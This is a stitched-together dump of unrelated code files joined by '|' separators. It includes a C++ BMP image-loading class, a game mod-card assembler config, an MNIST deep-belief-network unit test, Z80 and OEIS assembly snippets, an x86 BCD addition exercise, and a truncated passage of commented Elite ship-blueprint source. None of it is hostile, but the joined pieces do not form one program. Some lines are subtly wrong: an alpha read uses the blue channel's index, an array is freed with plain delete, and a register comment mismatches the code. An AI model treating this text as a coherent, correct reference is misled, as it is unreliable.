#include "SmallImage.h"
#include <fstream>
SmallImage::SmallImage(unsigned int width, unsigned int height, unsigned int iComponentCount) :
m_size(width, height),
m_iComponentCount(iComponentCount),
m_pData(0)
{
InitData();
}
SmallImage::SmallImage(const std::string& filename) :
m_size(0,0),
m_iComponentCount(0),
m_pData(0)
{
LoadFromBMP(filename);
}
SmallImage::~SmallImage(void)
{
delete [] m_pData;
}
void SmallImage::InitData() {
m_pData = new uint8_t[m_iComponentCount*m_size.area()];
memset(m_pData,0,m_iComponentCount*m_size.area());
}
bool SmallImage::PeekBMPHeader(const std::string& filename, UINTVECTOR2& size, unsigned int& iComponentCount) {
bool bUpsideDown;
int iOffsetToData;
return PeekBMPHeader(filename, size, iComponentCount, bUpsideDown, iOffsetToData);
}
bool SmallImage::PeekBMPHeader(const std::string& filename, UINTVECTOR2& size, unsigned int& iComponentCount, bool& bUpsideDown, int& iOffsetToData) {
std::ifstream inStream(filename.c_str(), std::ofstream::binary);
if (inStream.fail()) return false;
// check "BM" magic bytes
uint16_t bfType;
inStream.read((char*)&bfType, 2);
if (bfType != 19778) {
inStream.close();
return false;
}
// skip file size and reserved fields of bitmap file header
inStream.seekg(8, std::ios_base::cur);
// get the position of the actual bitmap data
inStream.read((char*)&iOffsetToData, 4);
inStream.seekg(4, std::ios_base::cur); // skip size of bitmap info header
int w, h;
inStream.read((char*)&w, 4); // get the width of the bitmap
inStream.read((char*)&h, 4); // get the hight of the bitmap
short int biPlanes;
inStream.read((char*)&biPlanes, 2); // get the number of planes
if (biPlanes != 1) {
inStream.close();
return false;
}
// get the number of bits per pixel
uint16_t biBitCount;
inStream.read((char*)&biBitCount, 2); // get the number of planes
if (biBitCount != 24 && biBitCount != 32) {
inStream.close();
return false;
}
iComponentCount = biBitCount/8;
size = UINTVECTOR2(w,abs(h));
bUpsideDown = h < 0;
inStream.close();
return true;
}
bool SmallImage::LoadFromBMP(const std::string& filename) {
bool bUpsideDown;
int iOffsetToData;
if (!PeekBMPHeader(filename, m_size, m_iComponentCount, bUpsideDown, iOffsetToData)) {
return false;
}
// seek to the actual data
std::ifstream inStream(filename.c_str(), std::ofstream::binary);
if (inStream.fail()) return false;
inStream.seekg(iOffsetToData, std::ios_base::beg);
delete m_pData;
m_pData = new uint8_t[m_iComponentCount*m_size.area()];
int rowPad= 4- (m_size.x*m_iComponentCount)%4;
if (rowPad == 4) rowPad = 0;
if (rowPad == 0 && bUpsideDown)
inStream.read((char*)m_pData, m_iComponentCount*m_size.area());
else {
for (unsigned int row = 0; row < m_size.y; row++ ) {
int offset = (bUpsideDown ? row : ((m_size.y-1)-row)) * m_iComponentCount*m_size.x;
inStream.read((char*)m_pData+offset, m_iComponentCount*m_size.x);
if (rowPad > 0) inStream.seekg(rowPad, std::ios_base::cur);
}
}
inStream.close();
// swap red and blue (bgr[a] -> rgb[a])
for (uint32_t i = 0; i < m_size.area()*m_iComponentCount; i += m_iComponentCount)
std::swap(m_pData[i], m_pData[i+2]);
return true;
}
bool SmallImage::SaveToRAWFile(const std::string& filename) const {
std::ofstream outStream(filename.c_str(), std::ofstream::binary);
if (!outStream.is_open()) return false;
outStream.write((char*)m_pData, m_iComponentCount*m_size.area());
outStream.close();
return true;
}
bool SmallImage::SaveToBMPFile(const std::string& filename) const {
std::ofstream outStream(filename.c_str(), std::ofstream::binary);
if (!outStream.is_open()) return false;
int h = m_size.y;
int w = m_size.x;
// write BMP-Header
outStream.write((char*)"BM", 2); // all BMP-Files start with "BM"
uint32_t header[3];
int rowPad= 4-((w*8*m_iComponentCount)%32)/8;
if (rowPad == 4) rowPad = 0;
header[0] = 54+w*h*m_iComponentCount+rowPad*h; // filesize = 54 (header) + sizeX * sizeY * numChannels
header[1] = 0; // reserved = 0 (4 Bytes)
header[2] = 54; // File offset to Raster Data
outStream.write((char*)header, 4*3);
// write BMP-Info-Header
uint32_t infoHeader[10];
infoHeader[0] = 40; // size of info header
infoHeader[1] = w; // Bitmap Width
infoHeader[2] = -h; // Bitmap Height (negative to flip image)
infoHeader[3] = 1+65536*8*m_iComponentCount;
// first 2 bytes=Number of Planes (=1)
// next 2 bytes=BPP
infoHeader[4] = 0; // compression (0 = none)
infoHeader[5] = 0; // compressed file size (0 if no compression)
infoHeader[6] = 11810; // horizontal resolution: Pixels/meter (11810 = 300 dpi)
infoHeader[7] = 11810; // vertical resolution: Pixels/meter (11810 = 300 dpi)
infoHeader[8] = 0; // Number of actually used colors
infoHeader[9] = 0; // Number of important colors 0 = all
outStream.write((char*)infoHeader, 4*10);
// data in BMP is stored BGR, so convert RGB to BGR
uint8_t* pData = new uint8_t [m_iComponentCount*m_size.area()];
for (uint32_t i = 0; i < m_iComponentCount*m_size.area(); i+=m_iComponentCount) {
pData[i] = m_pData[i+2];
pData[i+1] = m_pData[i+1];
pData[i+2] = m_pData[i];
if (m_iComponentCount==4) pData[i+3] = m_pData[i+3];
}
// write data (pad if necessary)
if (rowPad==0) {
outStream.write((char*)pData, m_iComponentCount*m_size.area());
}
else {
uint8_t zeroes[9]={0,0,0,0,0,0,0,0,0};
for (int i=0; i<h; i++) {
outStream.write((char*)pData+m_iComponentCount*i*w, m_iComponentCount*w);
outStream.write((char*)zeroes, rowPad);
}
}
delete [] pData;
outStream.close();
return true;
}
void SmallImage::AdjustToAspect(unsigned int& newWidth, unsigned int& newHeight) {
if (float(newWidth)/float(newHeight) > float(m_size.x)/float(m_size.y)) {
newWidth = (unsigned int)(float(newHeight) * float(m_size.x)/float(m_size.y));
} else {
newHeight = (unsigned int)(float(newWidth) * float(m_size.y)/float(m_size.x));
}
}
void SmallImage::Resample(uint8_t* pTarget, unsigned int newWidth, unsigned int newHeight) {
// info: this code is very inneficient but it's easy to read
// and this is a SMALL-Image class after all :-)
float deltaX = m_size.x / float(newWidth);
float deltaY = m_size.y / float(newHeight);
uint8_t* targetPtr = pTarget;
for (unsigned int y = 0;y<newHeight;y++) {
float floatY = deltaY*y;
unsigned int cY = (unsigned int)(ceil(floatY));
unsigned int fY = (unsigned int)(floor(floatY));
for (unsigned int x = 0;x<newWidth;x++) {
float floatX = deltaX*x;
unsigned int cX = (unsigned int)(ceil(floatX));
unsigned int fX = (unsigned int)(floor(floatX));
size_t i0 = OneDIndex(fX,fY);
size_t i1 = OneDIndex(cX,fY);
size_t i2 = OneDIndex(fX,cY);
size_t i3 = OneDIndex(cX,cY);
float sX = floatX-fX;
float sY = floatY-fY;
for (size_t c = 0;c<m_iComponentCount;c++) {
float val0 = float(m_pData[i0+c]);
float val1 = float(m_pData[i1+c]);
float val2 = float(m_pData[i2+c]);
float val3 = float(m_pData[i3+c]);
// billinear interpolation
uint8_t val = uint8_t((val0*(1.0f-sX)+val1*sX)*(1.0f-sY) + (val2*(1.0f-sX)+val3*sX)*sY);
(*targetPtr) = val;
targetPtr++;
}
}
}
}
SmallImage* SmallImage::GeneratePreviewImage(unsigned int newWidth, unsigned int newHeight, bool bKeepAspect) {
if (bKeepAspect) AdjustToAspect(newWidth, newHeight);
SmallImage* preview = new SmallImage(newWidth, newHeight, m_iComponentCount);
Resample(preview->m_pData, newWidth, newHeight);
return preview;
}
void SmallImage::ForceComponentCount(unsigned int newCompCount, uint8_t padValue) {
if (newCompCount != 3 && newCompCount != 4) return; //unsupported component count
if (newCompCount == m_iComponentCount) return; // that was easy :-)
uint8_t* pData = new uint8_t [newCompCount*m_size.area()];
uint8_t* targetPtr = pData;
uint8_t* sourcePtr = m_pData;
if (newCompCount < m_iComponentCount) {
for (size_t i = 0;i<m_size.area();i++) {
for (size_t c = 0;c<newCompCount;c++) {
(*targetPtr) = (*sourcePtr);
targetPtr++;
sourcePtr++;
}
sourcePtr += m_iComponentCount-newCompCount;
}
} else {
for (size_t i = 0;i<m_size.area();i++) {
for (size_t c = 0;c<m_iComponentCount;c++) {
(*targetPtr) = (*sourcePtr);
targetPtr++;
sourcePtr++;
}
for (size_t c = m_iComponentCount;c<newCompCount;c++) {
(*targetPtr) = padValue;
targetPtr++;
}
}
}
delete [] m_pData;
m_pData = pData;
m_iComponentCount = newCompCount;
}
void SmallImage::Resample(unsigned int newWidth, unsigned int newHeight, bool bKeepAspect) {
if (newWidth == m_size.x && newHeight == m_size.y) return; // that was easy :-)
if (bKeepAspect) AdjustToAspect(newWidth, newHeight);
uint8_t* pData = new uint8_t [m_iComponentCount*newWidth*newHeight];
Resample(pData, newWidth, newHeight);
delete [] m_pData;
m_pData = pData;
m_size = UINTVECTOR2(newWidth, newHeight);
}
void SmallImage::SetPixel(unsigned int x, unsigned int y, uint8_t r, uint8_t g, uint8_t b, uint8_t a) {
size_t index = OneDIndex(x,y);
m_pData[index+0] = r;
m_pData[index+1] = g;
m_pData[index+2] = b;
if (m_iComponentCount == 4) m_pData[index+3] = a;
}
void SmallImage::SetPixel(unsigned int x, unsigned int y, uint8_t r, uint8_t g, uint8_t b) {
SetPixel(x, y, r, g, b, 255);
}
void SmallImage::SetPixel(unsigned int x, unsigned int y, uint8_t grey) {
SetPixel(x, y, grey, grey, grey);
}
void SmallImage::SetPixel(unsigned int x, unsigned int y, const Color& c) {
SetPixel(x, y, c.x, c.y, c.z);
}
void SmallImage::GetPixel(unsigned int x, unsigned int y, uint8_t& r, uint8_t& g, uint8_t& b, uint8_t& a) const {
size_t index = OneDIndex(x,y);
r = m_pData[index+0];
g = m_pData[index+1];
b = m_pData[index+2];
a = (m_iComponentCount == 4) ? m_pData[index+2] : 255;
}
void SmallImage::GetPixel(unsigned int x, unsigned int y, uint8_t& r, uint8_t& g, uint8_t& b) const {
size_t index = OneDIndex(x,y);
r = m_pData[index+0];
g = m_pData[index+1];
b = m_pData[index+2];
}
void SmallImage::GetPixel(unsigned int x, unsigned int y, uint8_t& grey) const {
uint8_t r, g, b;
GetPixel(x,y, r,g,b);
grey = (uint8_t)(((unsigned int)r+(unsigned int)g+(unsigned int)b)/3);
}
void SmallImage::GetPixel(unsigned int x, unsigned int y, Color& c) const {
GetPixel(x,y, c.x,c.y,c.z);
}
Color SmallImage::GetPixel(unsigned int x, unsigned int y) const {
Color c;
GetPixel(x,y, c.x,c.y,c.z);
return c;
}
|
.include "defaults_mod.asm"
table_file_jp equ "exe4-utf8.tbl"
table_file_en equ "bn4-utf8.tbl"
game_code_len equ 3
game_code equ 0x4234574A // B4WJ
game_code_2 equ 0x42345745 // B4WE
game_code_3 equ 0x42345750 // B4WP
card_type equ 1
card_id equ 131
card_no equ "131"
card_sub equ "Mod Card 131"
card_sub_x equ 64
card_desc_len equ 3
card_desc_1 equ "Address 0E"
card_desc_2 equ "AquaSoul (Buggy)"
card_desc_3 equ "Blue Moon only"
card_name_jp_full equ "アクアソウル"
card_name_jp_game equ "アクアソウル"
card_name_en_full equ "AquaSoul"
card_name_en_game equ "AquaSoul"
card_address equ "0E"
card_address_id equ 4
card_bug equ 1
card_wrote_en equ "AquaSoul"
card_wrote_jp equ "アクアソウル" |
//=======================================================================
// Copyright (c) 2014-2017 Baptiste Wicht
// Distributed under the terms of the MIT License.
// (See accompanying file LICENSE or copy at
// http://opensource.org/licenses/MIT)
//=======================================================================
#include "dll_test.hpp"
#include "dll/rbm/conv_rbm.hpp"
#include "dll/rbm/rbm.hpp"
#include "dll/dbn.hpp"
#include "mnist/mnist_reader.hpp"
#include "mnist/mnist_utils.hpp"
TEST_CASE("cdbn/sgd/1", "[dbn][mnist][sgd]") {
typedef dll::dbn_desc<
dll::dbn_layers<
dll::conv_rbm_square_desc<1, 28, 10, 17, dll::momentum, dll::batch_size<10>, dll::weight_type<float>>::layer_t,
dll::rbm_desc<12 * 12 * 10, 10, dll::momentum, dll::batch_size<10>, dll::hidden<dll::unit_type::SOFTMAX>>::layer_t>,
dll::trainer<dll::sgd_trainer>, dll::batch_size<10>>::dbn_t dbn_t;
auto dataset = mnist::read_dataset_direct<std::vector, etl::fast_dyn_matrix<float, 1, 28, 28>>(500);
REQUIRE(!dataset.training_images.empty());
mnist::binarize_dataset(dataset);
auto dbn = std::make_unique<dbn_t>();
dbn->pretrain(dataset.training_images, 20);
auto ft_error = dbn->fine_tune(dataset.training_images, dataset.training_labels, 50);
std::cout << "ft_error:" << ft_error << std::endl;
CHECK(ft_error < 5e-2);
TEST_CHECK(0.2);
}
|
; int p_list_empty(p_list_t *list)
SECTION code_adt_p_list
PUBLIC p_list_empty
defc p_list_empty = asm_p_list_empty
INCLUDE "adt/p_list/z80/asm_p_list_empty.asm"
|
; A010016: a(0) = 1, a(n) = 26*n^2 + 2 for n>0.
; 1,28,106,236,418,652,938,1276,1666,2108,2602,3148,3746,4396,5098,5852,6658,7516,8426,9388,10402,11468,12586,13756,14978,16252,17578,18956,20386,21868,23402,24988,26626,28316,30058,31852,33698,35596,37546,39548,41602,43708,45866,48076,50338,52652,55018,57436,59906,62428,65002,67628,70306,73036,75818,78652,81538,84476,87466,90508,93602,96748,99946,103196,106498,109852,113258,116716,120226,123788,127402,131068,134786,138556,142378,146252,150178,154156,158186,162268,166402,170588,174826,179116
pow $1,$0
gcd $1,2
mov $3,$0
mul $3,$0
mov $2,$3
mul $2,26
add $1,$2
mov $0,$1
|
; Perform BCD addition on two 32-bit numbers.
; 12345678H + 94562145H
.MODEL TINY
.486
.CODE
.STARTUP
; initialize registers
MOV EBX, 12345678H ; BH = 56H BL = 78H
MOV EDX, 94562145H ; DH = 21H DL = 45H
; perform ADDition
ADD DL, BL ; DL = 45H + 78H = BDH
; perform Decimal Adjust after Addition
MOV AL, DL ; AL = BDH
DAA ; AL = 23H C = 1
; store result in ECX(CL)
MOV CL, AL ; CL = 23H ECX = 00000023H
; perform ADdition with Carry
ADC DH, BH ; DH = 21H + 56H + 1 = 78H C = 0
; perform Decimal Adjust after Addition
MOV AL, DH ; AL = 78H
DAA ; AL = 78H C = 0
; store result in ECX(CH)
MOV CH, AL ; CH = 43H ECX = 00007823H
; swap EBX, EDX, ECX to perform calculation on higher bits
BSWAP EBX ; EBX = 78563412H BH = 34H BL = 12H
BSWAP EDX ; EDX = 45215694H DH = 56H DL = 94H
BSWAP ECX ; ECX = 23780000H
; perform ADdition with Carry
ADC DH, BH ; DH = 56H + 34H + 0 = 8AH C = 0
; perform Decimal Adjust after Addition
MOV AL, DH ; AL = 8AH
DAA ; AL = 90H C = 0
; store result in ECX(CH)
MOV CH, AL ; CH = 90H ECX = 23789000H
; perform ADdition with Carry
ADC DL, BL ; DL = 94H + 12H + 0 = A6H C = 0
; perform Decimal Adjust after Addition
MOV AL, DL ; AL = A6H
DAA ; AL = 06H C = 1
; store result in ECX(CL)
MOV CL, AL ; CL = 06H ECX = 23789006H
; swap ECX to get final result
BSWAP ECX ; ECX = 06907823H
.EXIT
END |
; A097512: a(n) = 6*Lucas(2n) - Fibonacci(2n+2).
; 11,15,34,87,227,594,1555,4071,10658,27903,73051,191250,500699,1310847,3431842,8984679,23522195,61581906,161223523,422088663,1105042466,2893038735,7574073739,19829182482,51913473707,135911238639,355820242210,931549487991,2438828221763,6384935177298,16715977310131,43762996753095,114573012949154,299956042094367,785295113333947,2055929297907474,5382492780388475
mov $1,11
mov $2,4
lpb $0,1
sub $0,1
add $1,$2
add $2,$1
lpe
|
\ ******************************************************************************
\
\ DISC ELITE SHIP BLUEPRINTS FILE B
\
\ Elite was written by Ian Bell and David Braben and is copyright Acornsoft 1984
\
\ The code on this site has been disassembled from the version released on Ian
\ Bell's personal website at http://www.elitehomepage.org/
\
\ The commentary is copyright Mark Moxon, and any misunderstandings or mistakes
\ in the documentation are entirely my fault
\
\ The terminology and notations used in this commentary are explained at
\ https://www.bbcelite.com/about_site/terminology_used_in_this_commentary.html
\
\ The deep dive articles referred to in this commentary can be found at
\ https://www.bbcelite.com/deep_dives
\
\ ------------------------------------------------------------------------------
\
\ This source file produces the following binary file:
\
\ * D.MOB.bin
\
\ ******************************************************************************
INCLUDE "1-source-files/main-sources/elite-header.h.asm"
GUARD &6000 \ Guard against assembling over screen memory
\ ******************************************************************************
\
\ Configuration variables
\
\ ******************************************************************************
SHIP_MISSILE = &7F00 \ The address of the missile ship blueprint
CODE% = &5600 \ The flight code loads this file at address &5600, at
LOAD% = &5600 \ label XX21
ORG CODE%
\ ******************************************************************************
\
\ Name: XX21
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprints lookup table for the D.MOB file
\ Deep dive: Ship blueprints in the disc version
\
\ ******************************************************************************
.XX21
EQUW SHIP_MISSILE \ MSL = 1 = Missile
EQUW SHIP_DODO \ SST = 2 = Dodo space station
EQUW SHIP_ESCAPE_POD \ ESC = 3 = Escape pod
EQUW SHIP_PLATE \ PLT = 4 = Alloy plate
EQUW SHIP_CANISTER \ OIL = 5 = Cargo canister
EQUW SHIP_BOULDER \ 6 = Boulder
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW SHIP_COBRA_MK_3 \ CYL = 11 = Cobra Mk III
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW SHIP_VIPER \ COPS = 16 = Viper
EQUW 0
EQUW SHIP_MAMBA \ 18 = Mamba
EQUW SHIP_KRAIT \ KRA = 19 = Krait
EQUW SHIP_ADDER \ ADA = 20 = Adder
EQUW 0
EQUW 0
EQUW SHIP_WORM \ WRM = 23 = Worm
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
\ ******************************************************************************
\
\ Name: E%
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprints default NEWB flags for the D.MOB file
\ Deep dive: Ship blueprints in the disc version
\ Advanced tactics with the NEWB flags
\
\ ******************************************************************************
.E%
EQUB %00000000 \ Missile
EQUB %00000000 \ Dodo space station
EQUB %00000001 \ Escape pod Trader
EQUB %00000000 \ Alloy plate
EQUB %00000000 \ Cargo canister
EQUB %00000000 \ Boulder
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB %10100000 \ Cobra Mk III Innocent, escape pod
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB %11000010 \ Viper Bounty hunter, cop, escape pod
EQUB 0
EQUB %10001100 \ Mamba Hostile, pirate, escape pod
EQUB %10001100 \ Krait Hostile, pirate, escape pod
EQUB %10001100 \ Adder Hostile, pirate, escape pod
EQUB 0
EQUB 0
EQUB %00000100 \ Worm Hostile
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
\ ******************************************************************************
\
\ Name: VERTEX
\ Type: Macro
\ Category: Drawing ships
\ Summary: Macro definition for adding vertices to ship blueprints
\ Deep dive: Ship blueprints
\
\ ------------------------------------------------------------------------------
\
\ The following macro is used to build the ship blueprints:
\
\ VERTEX x, y, z, face1, face2, face3, face4, visibility
\
\ See the deep dive on "Ship blueprints" for details of how vertices are stored
\ in the ship blueprints, and the deep dive on "Drawing ships" for information
\ on how vertices are used to draw 3D wiremesh ships.
\
\ Arguments:
\
\ x The vertex's x-coordinate
\
\ y The vertex's y-coordinate
\
\ z The vertex's z-coordinate
\
\ face1 The number of face 1 associated with this vertex
\
\ face2 The number of face 2 associated with this vertex
\
\ face3 The number of face 3 associated with this vertex
\
\ face4 The number of face 4 associated with this vertex
\
\ visibility The visibility distance, beyond which the vertex is not
\ shown
\
\ ******************************************************************************
MACRO VERTEX x, y, z, face1, face2, face3, face4, visibility
IF x < 0
s_x = 1 << 7
ELSE
s_x = 0
ENDIF
IF y < 0
s_y = 1 << 6
ELSE
s_y = 0
ENDIF
IF z < 0
s_z = 1 << 5
ELSE
s_z = 0
ENDIF
s = s_x + s_y + s_z + visibility
f1 = face1 + (face2 << 4)
f2 = face3 + (face4 << 4)
ax = ABS(x)
ay = ABS(y)
az = ABS(z)
EQUB ax, ay, az, s, f1, f2
ENDMACRO
\ ******************************************************************************
\
\ Name: EDGE
\ Type: Macro
\ Category: Drawing ships
\ Summary: Macro definition for adding edges to ship blueprints
\ Deep dive: Ship blueprints
\
\ ------------------------------------------------------------------------------
\
\ The following macro is used to build the ship blueprints:
\
\ EDGE vertex1, vertex2, face1, face2, visibility
\
\ See the deep dive on "Ship blueprints" for details of how edges are stored
\ in the ship blueprints, and the deep dive on "Drawing ships" for information
\ on how edges are used to draw 3D wiremesh ships.
\
\ Arguments:
\
\ vertex1 The number of the vertex at the start of the edge
\
\ vertex1 The number of the vertex at the end of the edge
\
\ face1 The number of face 1 associated with this edge
\
\ face2 The number of face 2 associated with this edge
\
\ visibility The visibility distance, beyond which the edge is not
\ shown
\
\ ******************************************************************************
MACRO EDGE vertex1, vertex2, face1, face2, visibility
f = face1 + (face2 << 4)
EQUB visibility, f, vertex1 << 2, vertex2 << 2
ENDMACRO
\ ******************************************************************************
\
\ Name: FACE
\ Type: Macro
\ Category: Drawing ships
\ Summary: Macro definition for adding faces to ship blueprints
\ Deep dive: Ship blueprints
\
\ ------------------------------------------------------------------------------
\
\ The following macro is used to build the ship blueprints:
\
\ FACE normal_x, normal_y, normal_z, visibility
\
\ See the deep dive on "Ship blueprints" for details of how faces are stored
\ in the ship blueprints, and the deep dive on "Drawing ships" for information
\ on how faces are used to draw 3D wiremesh ships.
\
\ Arguments:
\
\ normal_x The face normal's x-coordinate
\
\ normal_y The face normal's y-coordinate
\
\ normal_z The face normal's z-coordinate
\
\ visibility The visibility distance, beyond which the edge is always
\ shown
\
\ ******************************************************************************
MACRO FACE normal_x, normal_y, normal_z, visibility
IF normal_x < 0
s_x = 1 << 7
ELSE
s_x = 0
ENDIF
IF normal_y < 0
s_y = 1 << 6
ELSE
s_y = 0
ENDIF
IF normal_z < 0
s_z = 1 << 5
ELSE
s_z = 0
ENDIF
s = s_x + s_y + s_z + visibility
ax = ABS(normal_x)
ay = ABS(normal_y)
az = ABS(normal_z)
EQUB s, ax, ay, az
ENDMACRO
\ ******************************************************************************
\
\ Name: SHIP_DODO
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Dodecahedron ("Dodo") space station
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_DODO
EQUB 0 \ Max. canisters on demise = 0
EQUW 180 * 180 \ Targetable area = 180 * 180
EQUB LO(SHIP_DODO_EDGES - SHIP_DODO) \ Edges data offset (low)
EQUB LO(SHIP_DODO_FACES - SHIP_DODO) \ Faces data offset (low)
EQUB 97 \ Max. edge count = (97 - 1) / 4 = 24
EQUB 0 \ Gun vertex = 0
EQUB 54 \ Explosion count = 12, as (4 * n) + 6 = 54
EQUB 144 \ Number of vertices = 144 / 6 = 24
EQUB 34 \ Number of edges = 34
EQUW 0 \ Bounty = 0
EQUB 48 \ Number of faces = 48 / 4 = 12
EQUB 125 \ Visibility distance = 125
EQUB 240 \ Max. energy = 240
EQUB 0 \ Max. speed = 0
EQUB HI(SHIP_DODO_EDGES - SHIP_DODO) \ Edges data offset (high)
EQUB HI(SHIP_DODO_FACES - SHIP_DODO) \ Faces data offset (high)
EQUB 0 \ Normals are scaled by = 2^0 = 1
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 0, 150, 196, 1, 0, 5, 5, 31 \ Vertex 0
VERTEX 143, 46, 196, 1, 0, 2, 2, 31 \ Vertex 1
VERTEX 88, -121, 196, 2, 0, 3, 3, 31 \ Vertex 2
VERTEX -88, -121, 196, 3, 0, 4, 4, 31 \ Vertex 3
VERTEX -143, 46, 196, 4, 0, 5, 5, 31 \ Vertex 4
VERTEX 0, 243, 46, 5, 1, 6, 6, 31 \ Vertex 5
VERTEX 231, 75, 46, 2, 1, 7, 7, 31 \ Vertex 6
VERTEX 143, -196, 46, 3, 2, 8, 8, 31 \ Vertex 7
VERTEX -143, -196, 46, 4, 3, 9, 9, 31 \ Vertex 8
VERTEX -231, 75, 46, 5, 4, 10, 10, 31 \ Vertex 9
VERTEX 143, 196, -46, 6, 1, 7, 7, 31 \ Vertex 10
VERTEX 231, -75, -46, 7, 2, 8, 8, 31 \ Vertex 11
VERTEX 0, -243, -46, 8, 3, 9, 9, 31 \ Vertex 12
VERTEX -231, -75, -46, 9, 4, 10, 10, 31 \ Vertex 13
VERTEX -143, 196, -46, 6, 5, 10, 10, 31 \ Vertex 14
VERTEX 88, 121, -196, 7, 6, 11, 11, 31 \ Vertex 15
VERTEX 143, -46, -196, 8, 7, 11, 11, 31 \ Vertex 16
VERTEX 0, -150, -196, 9, 8, 11, 11, 31 \ Vertex 17
VERTEX -143, -46, -196, 10, 9, 11, 11, 31 \ Vertex 18
VERTEX -88, 121, -196, 10, 6, 11, 11, 31 \ Vertex 19
VERTEX -16, 32, 196, 0, 0, 0, 0, 30 \ Vertex 20
VERTEX -16, -32, 196, 0, 0, 0, 0, 30 \ Vertex 21
VERTEX 16, 32, 196, 0, 0, 0, 0, 23 \ Vertex 22
VERTEX 16, -32, 196, 0, 0, 0, 0, 23 \ Vertex 23
.SHIP_DODO_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 1, 0, 31 \ Edge 0
EDGE 1, 2, 2, 0, 31 \ Edge 1
EDGE 2, 3, 3, 0, 31 \ Edge 2
EDGE 3, 4, 4, 0, 31 \ Edge 3
EDGE 4, 0, 5, 0, 31 \ Edge 4
EDGE 5, 10, 6, 1, 31 \ Edge 5
EDGE 10, 6, 7, 1, 31 \ Edge 6
EDGE 6, 11, 7, 2, 31 \ Edge 7
EDGE 11, 7, 8, 2, 31 \ Edge 8
EDGE 7, 12, 8, 3, 31 \ Edge 9
EDGE 12, 8, 9, 3, 31 \ Edge 10
EDGE 8, 13, 9, 4, 31 \ Edge 11
EDGE 13, 9, 10, 4, 31 \ Edge 12
EDGE 9, 14, 10, 5, 31 \ Edge 13
EDGE 14, 5, 6, 5, 31 \ Edge 14
EDGE 15, 16, 11, 7, 31 \ Edge 15
EDGE 16, 17, 11, 8, 31 \ Edge 16
EDGE 17, 18, 11, 9, 31 \ Edge 17
EDGE 18, 19, 11, 10, 31 \ Edge 18
EDGE 19, 15, 11, 6, 31 \ Edge 19
EDGE 0, 5, 5, 1, 31 \ Edge 20
EDGE 1, 6, 2, 1, 31 \ Edge 21
EDGE 2, 7, 3, 2, 31 \ Edge 22
EDGE 3, 8, 4, 3, 31 \ Edge 23
EDGE 4, 9, 5, 4, 31 \ Edge 24
EDGE 10, 15, 7, 6, 31 \ Edge 25
EDGE 11, 16, 8, 7, 31 \ Edge 26
EDGE 12, 17, 9, 8, 31 \ Edge 27
EDGE 13, 18, 10, 9, 31 \ Edge 28
EDGE 14, 19, 10, 6, 31 \ Edge 29
EDGE 20, 21, 0, 0, 30 \ Edge 30
EDGE 21, 23, 0, 0, 20 \ Edge 31
EDGE 23, 22, 0, 0, 23 \ Edge 32
EDGE 22, 20, 0, 0, 20 \ Edge 33
.SHIP_DODO_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 0, 196, 31 \ Face 0
FACE 103, 142, 88, 31 \ Face 1
FACE 169, -55, 89, 31 \ Face 2
FACE 0, -176, 88, 31 \ Face 3
FACE -169, -55, 89, 31 \ Face 4
FACE -103, 142, 88, 31 \ Face 5
FACE 0, 176, -88, 31 \ Face 6
FACE 169, 55, -89, 31 \ Face 7
FACE 103, -142, -88, 31 \ Face 8
FACE -103, -142, -88, 31 \ Face 9
FACE -169, 55, -89, 31 \ Face 10
FACE 0, 0, -196, 31 \ Face 11
\ ******************************************************************************
\
\ Name: SHIP_ESCAPE_POD
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for an escape pod
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_ESCAPE_POD
EQUB 0 + (2 << 4) \ Max. canisters on demise = 0
\ Market item when scooped = 2 + 1 = 3 (slaves)
EQUW 16 * 16 \ Targetable area = 16 * 16
EQUB LO(SHIP_ESCAPE_POD_EDGES - SHIP_ESCAPE_POD) \ Edges data offset (low)
EQUB LO(SHIP_ESCAPE_POD_FACES - SHIP_ESCAPE_POD) \ Faces data offset (low)
EQUB 25 \ Max. edge count = (25 - 1) / 4 = 6
EQUB 0 \ Gun vertex = 0
EQUB 22 \ Explosion count = 4, as (4 * n) + 6 = 22
EQUB 24 \ Number of vertices = 24 / 6 = 4
EQUB 6 \ Number of edges = 6
EQUW 0 \ Bounty = 0
EQUB 16 \ Number of faces = 16 / 4 = 4
EQUB 8 \ Visibility distance = 8
EQUB 17 \ Max. energy = 17
EQUB 8 \ Max. speed = 8
EQUB HI(SHIP_ESCAPE_POD_EDGES - SHIP_ESCAPE_POD) \ Edges data offset (high)
EQUB HI(SHIP_ESCAPE_POD_FACES - SHIP_ESCAPE_POD) \ Faces data offset (high)
EQUB 4 \ Normals are scaled by = 2^4 = 16
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX -7, 0, 36, 2, 1, 3, 3, 31 \ Vertex 0
VERTEX -7, -14, -12, 2, 0, 3, 3, 31 \ Vertex 1
VERTEX -7, 14, -12, 1, 0, 3, 3, 31 \ Vertex 2
VERTEX 21, 0, 0, 1, 0, 2, 2, 31 \ Vertex 3
.SHIP_ESCAPE_POD_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 3, 2, 31 \ Edge 0
EDGE 1, 2, 3, 0, 31 \ Edge 1
EDGE 2, 3, 1, 0, 31 \ Edge 2
EDGE 3, 0, 2, 1, 31 \ Edge 3
EDGE 0, 2, 3, 1, 31 \ Edge 4
EDGE 3, 1, 2, 0, 31 \ Edge 5
.SHIP_ESCAPE_POD_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 52, 0, -122, 31 \ Face 0
FACE 39, 103, 30, 31 \ Face 1
FACE 39, -103, 30, 31 \ Face 2
